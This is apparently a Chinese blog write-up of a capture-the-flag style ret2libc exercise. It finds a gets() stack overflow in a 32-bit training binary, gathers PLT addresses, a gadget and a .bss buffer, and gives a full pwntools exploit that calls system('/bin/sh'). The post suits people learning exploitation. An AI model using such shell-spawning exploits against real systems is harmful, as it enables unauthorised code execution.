Featured image of post Pwnwiki Ret2libc

Pwnwiki Ret2libc

控制函数执行 libc 中的函数。程序很多函数都是直接调用 libc 库里的,比如 stdio.h 内的函数。

前置知识

plt&got

Linux 通过 plt 表和 got 表进行链接。要执行这个函数通常是找到该函数的 plt 处,或者函数的具体位置(got 表的地址)。
plt(procedure link table) 程序链接表,通过跳转数组可以使得代码能够很方便访问共享的函数或变量。通过访问这个地址,可以执行相应的函数。
pot(globle offset table) 全局偏移量表,用来存储外部函数在内存的确切地址。

pwn

检查程序安全保护:

1
2
3
4
5
6
7
8
9
❯ pwn checksec --file=ret2libc2
[*] '/data/Hack/ret2lib/ret2libc2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

32 位程序仅开启了 NX 保护。
用 ida pro 对程序反编译,看看 main 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(s);
  return 0;
}

发现 gets 可以栈溢出。
查看偏移量和在 pwndbg 中对 call _gets 打断点查看 esp 和 ebp 的值确定要覆盖缓冲区的空间为 (0x6c + 0x4):

1
2
3
.text:080486B3                 lea     eax, [esp+80h+s]
.text:080486B7                 mov     [esp], eax      ; s
.text:080486BA                 call    _gets
1
2
 EBP  0xffffcb88 —▸ 0xf7ffcca0 (_rtld_global_ro) ◂— 0
 ESP  0xffffcb00 —▸ 0xffffcb1c ◂— 0

查询函数表没有 shell 的代码只有这个: 用 ROPgadget 查询 ROP 链,也没能直接找到 /bin/sh 的字段。
所以尝试通过 libc 里的 gets 和 system 来完成目的。
使用 gets 获取 /bin/sh 字符串,用 system 跳转命令。
通过 objdump 获得汇编数据:

1
objdump -d ret2libc2 > asm

获得以下字段:

1
2
08048460 <gets@plt>:
08048490 <system@plt>:

我们还需要在 bss 段里找个合适的字符串存放 /bin/sh
嗯,就是它了,记住地址 0804A080。
但是我们还需要有个 pop | ret 的命令,用 ROPgadget 找到:

1
0x0804843d : pop ebx ; ret

这里 pop ebx 只是用于在之后把 gets 的参数出栈使得可以跳转到 system plt,与 ebx 无关。
综合以上可以得到以下变量:

1
2
3
4
5
offset = 0x6c+4
gets = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
pop_ret = 0x0804843d

将它们进行组合就是攻击载荷了。

1
payload = b'a' * offset + p32(gets) + p32(pop_ret) + p32(buf2) + p32(system_plt) + p32(0) + p32(buf2)

核心就是通过 pop_ret 控制栈进行出栈来执行两段函数,栈只是把命令给 eip ,没有存放可执行代码。
完整 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/bin/env python

from pwn import *

p = process('./ret2libc2')
offset = 0x6c+4
gets = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
pop_ret = 0x0804843d
payload = b'a' * offset + p32(gets) + p32(pop_ret) + p32(buf2) + p32(system_plt) + p32(0) + p32(buf2)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()
萌ICP备20241614号